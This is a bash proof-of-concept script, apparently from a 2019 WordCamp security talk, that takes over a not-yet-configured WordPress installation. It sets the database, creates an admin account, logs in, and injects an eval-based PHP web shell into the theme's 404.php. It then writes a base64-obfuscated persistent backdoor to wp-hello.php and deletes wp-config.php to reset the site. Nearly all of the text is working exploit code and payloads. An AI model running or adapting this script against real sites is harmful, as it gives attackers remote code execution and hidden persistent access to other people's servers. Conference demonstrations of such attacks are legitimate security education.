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Proof of concept WordPress setup script attack - sets up a new WP installation and injects a simple shell into /wp-content/themes/twentynineteen/404.php and /wp-hello.php.
#!/bin/bash
#
# WordPress Setup Attack Script
#
# Created by Stephen Rees-Carter (https://stephenreescarter.net/)
#
# This script injects a remote shell into a fresh copy of WordPress that hasn't been set up yet.
# Once the shells have been set up, it removes the config file with the custom database connection to reset the site back to a fresh install.
#
# Note, it is currently hardcoded for my WordCamp Brisbane 2019 talk:
# https://stephenreescarter.net/talks/hacking-wordpress/
#
# If there is interest, I may modify it to allow customising everything.
#
echo "Initiating WordPress Database Connection..."
curl 'https://hackwp.valorin.dev/newsite/wp-admin/setup-config.php?step=2' --silent --output ./output.txt -H 'Content-Type: application/x-www-form-urlencoded' --data 'dbname=hackerdb&uname=hackerdb&pwd=secureHACKERDBpassword&dbhost=localhost&prefix=wp_'
# Payload => user=hackerdb | db=hackerdb | pass=secureHACKERDBpassword
echo "Setting up new admin user..."
curl 'https://hackwp.valorin.dev/newsite/wp-admin/install.php?step=2' --silent --output ./output.txt -H 'Content-Type: application/x-www-form-urlencoded' --data 'weblog_title=HackerDB&user_name=hacker&admin_password=hackerPassword&pass1-text=hackerPassword&admin_password2=hackerPassword&pw_weak=on&admin_email=stephen%40evilhacker.valorin.dev&blog_public=0'
# Payload => title=HackerDB | user=hacker | pass=hackerPassword | email=stephen@evilhacker.valorin.dev
echo "Logging in to wp-admin..."
curl 'https://hackwp.valorin.dev/newsite/wp-login.php' --silent --output ./output.txt --cookie-jar ./cookie.jar -H 'Content-Type: application/x-www-form-urlencoded' --data 'log=hacker&pwd=hackerPassword'
# Payload => authenticates with hacker/hackerPassword
echo "Grabbing a nonce for theme editing..."
NONCE=$(curl 'https://hackwp.valorin.dev/newsite/wp-admin/theme-editor.php?file=404.php&theme=twentynineteen' --cookie ./cookie.jar --cookie-jar ./cookie.jar --silent | grep -ohP '(?<=name="nonce" value=")[^"]+(?=")')
# Retrieves => valid WordPress Nonce for theme editing
echo "Updating theme 404.php with payload..."
curl 'https://hackwp.valorin.dev/newsite/wp-admin/admin-ajax.php' --silent --output ./output.txt --cookie ./cookie.jar --cookie-jar ./cookie.jar -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' --data 'nonce='$NONCE$'&_wp_http_referer=%2Fnewsite%2Fwp-admin%2Ftheme-editor.php%3Ffile%3D404.php%26theme%3Dtwentynineteen&newcontent=%3C%3Fphp%20if%20%28isset%28%24_GET%5B%27hack%27%5D%29%29%7Becho%27Stephen%5C%27s%20Sneaky%20Shell%3Cform%20method%3DGET%20action%3D%3E%3Cinput%20name%3Dhack%20size%3D50%20value%3D%22%27.htmlentities%28%24cmd%3Dstripslashes%28%24_GET%5B%27hack%27%5D%20%3F%3A%20%27print_r%28scandir%28%5C%27.%5C%27%29%29%27%29%29.%27%22%20autofocus%3E%3Cinput%20type%3Dsubmit%3E%3C%2Fform%3E%3Cpre%3E%27%3Beval%28%24cmd.%27%3B%27%29%3Bdie%28%29%3B%7D+%0A%2F**%0A+*+The+template+for+displaying+404+pages+(not+found)%0A+*%0A+*+%40link+https%3A%2F%2Fcodex.wordpress.org%2FCreating_an_Error_404_Page%0A+*%0A+*+%40package+WordPress%0A+*+%40subpackage+Twenty_Nineteen%0A+*+%40since+1.0.0%0A+*%2F%0A%0Aget_header()%3B%0A%3F%3E%0A%0A%09%3Csection+id%3D%22primary%22+class%3D%22content-area%22%3E%0A%09%09%3Cmain+id%3D%22main%22+class%3D%22site-main%22%3E%0A%0A%09%09%09%3Cdiv+class%3D%22error-404+not-found%22%3E%0A%09%09%09%09%3Cheader+class%3D%22page-header%22%3E%0A%09%09%09%09%09%3Ch1+class%3D%22page-title%22%3E%3C%3Fphp+_e(+\'Oops\u21+That+page+can%26rsquo%3Bt+be+found.\'%2C+\'twentynineteen\'+)%3B+%3F%3E%3C%2Fh1%3E%0A%09%09%09%09%3C%2Fheader%3E%3C\u21--+.page-header+--%3E%0A%0A%09%09%09%09%3Cdiv+class%3D%22page-content%22%3E%0A%09%09%09%09%09%3Cp%3E%3C%3Fphp+_e(+\'It+looks+like+nothing+was+found+at+this+location.+Maybe+try+a+search%3F\'%2C+\'twentynineteen\'+)%3B+%3F%3E%3C%2Fp%3E%0A%09%09%09%09%09%3C%3Fphp+get_search_form()%3B+%3F%3E%0A%09%09%09%09%3C%2Fdiv%3E%3C\u21--+.page-content+--%3E%0A%09%09%09%3C%2Fdiv%3E%3C\u21--+.error-404+--%3E%0A%0A%09%09%3C%2Fmain%3E%3C\u21--+%23main+--%3E%0A%09%3C%2Fsection%3E%3C\u21--+%23primary+--%3E%0A%0A%3C%3Fphp%0Aget_footer()%3B%0A&action=edit-theme-plugin-file&file=404.php&theme=twentynineteen&docs-list='
# Appends payload: <?php if (isset($_GET['hack'])){echo'Stephen\'s Sneaky Shell<form method=GET action=><input name=hack size=50 value="'.htmlentities($cmd=stripslashes($_GET['hack'] ?: 'print_r(scandir(\'.\'))')).'" autofocus><input type=submit></form><pre>';eval($cmd.';');die();}
echo "Installing persistent backdoor..."
curl "https://hackwp.valorin.dev/newsite/wp-content/themes/twentynineteen/404.php?hack=file_put_contents%28%27..%2F..%2F..%2Fwp-hello.php%27%2C+%27%3C%3Fphp+eval%28base64_decode%28%22aWYgKGlzc2V0KCRfR0VUWydoYWNrJ10pKXtlY2hvJ1N0ZXBoZW5cJ3MgU25lYWt5IFNoZWxsPGZvcm0gbWV0aG9kPUdFVCBhY3Rpb249PjxpbnB1dCBuYW1lPWhhY2sgc2l6ZT01MCB2YWx1ZT0iJy5odG1sZW50aXRpZXMoJGNtZD1zdHJpcHNsYXNoZXMoJF9HRVRbJ2hhY2snXSA%2FOiAncHJpbnRfcihzY2FuZGlyKFwnLlwnKSknKSkuJyIgYXV0b2ZvY3VzPjxpbnB1dCB0eXBlPXN1Ym1pdD48L2Zvcm0%2BPHByZT4nO2V2YWwoJGNtZC4nOycpO2RpZSgpO30%3D%22%29%29%3B%27%29" --silent --output ./output.txt
# Remote backdoor command: write backdoor in wp-hello.php
echo "Resetting site config..."
curl "https://hackwp.valorin.dev/newsite/wp-hello.php?hack=unlink('wp-config.php');" --silent --output ./output.txt
# Remote backdoor command: remove config to reset site state
echo "Done"
rm ./output.txt
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